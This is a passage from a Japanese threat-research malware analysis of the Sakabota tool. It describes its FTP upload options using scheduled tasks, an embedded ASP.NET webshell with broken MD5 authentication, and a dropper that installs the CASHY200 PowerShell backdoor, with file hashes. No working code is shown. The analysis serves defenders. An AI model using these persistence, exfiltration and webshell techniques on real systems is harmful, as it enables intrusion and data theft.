SYS | 選択したファイルへのパスが「List.txt」に書き込まれ、「-up-l List.txt」でSakabota実行可能ファイルを実行する「mytask」という名前のスケジュール タスクが作成されます。 |
CMD | バッチ スクリプト「c:\FOPO.bat」を実行する「mytask」という名前のスケジュール タスクが作成されます。このスクリプトで、FTPコマンドが「ftpcmd.dat」に保存され、選択したファイルがアップロードされます。 |
NOR | 通常のFTPアップロード |
KWF | 「Kill When Finished(終了後に強制終了)」の略語です。ファイルをアップロードした後にSakabotaアプリケーションが終了します。 |
DEL | アップロード後にファイルを削除します。 |
表3.Sakabotaの「FTP」セクションにあるラジオ ボタンおよびチェックボックスとその機能
Sakabotaの「Resources」タブ(図8を参照)には、webshellをインストールする「Shell」、PowerShellバックドアをインストールする「Agent」の2つのボタンがあります。
webshellは「Shell」(SHA256:
b2fb0da6832e554194b59c817922770af13d474179a1c0381809676ef2709d24)という名前のリソース内にあるSakabotaバイナリに含まれています。また、webshellはC#で作成されており、ASP.NETを実行しているIISサーバー上に攻撃者がインストールすることを目的としています。ボタンをクリックすることによって、組み込みのシェルが「Shell.aspx」というファイルに書き込まれます。攻撃者は、このファイルをIISディレクトリに移動する必要があります。webshellでは、攻撃者がコマンドを実行し、ファイルをwebサーバーにアップロードする前に認証が必要です。認証プロセスでは、webshell内のハードコードされたMD5ハッシュ値「6242182812353019113116910419137224228」を使用して、URLの「id」パラメータで文字列のMD5ハッシュ値を確認する必要があります。この認証プロセスには欠陥があり、ハードコードされたMD5ハッシュ値の文字数が32文字でなく37文字であるために無効となるため、動作しません。したがって、攻撃者はシェルに対する認証ができず、現在のフォームでは使用できません。図9にwebshellのインターフェイスを示します。表示するためのwebshellの認証メカニズムを削除する必要がありました。
「Agent」ボタンをクリックすると、svhostという名前のリソース内にある組み込みの実行可能ファイルがsvhost.exeに保存されます。この実行可能ファイル(SHA256:
ffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9)によって、CASHY200という名前のPowerShellベースのバックドアがインストールされます。詳細については、xHuntキャンペーンに関する以前のブログを参照してください。
「Web Browser」タブ(図10を参照)はなかなか興味深いです。実際にインターネットをブラウズするためのボタンも機能もありません。このタブは以前のバージョンのSakabotaのアーティファクトであると考えられますが、開発者がタブ自体を削除せず、ブラウジング機能を削除した理由はわかりません。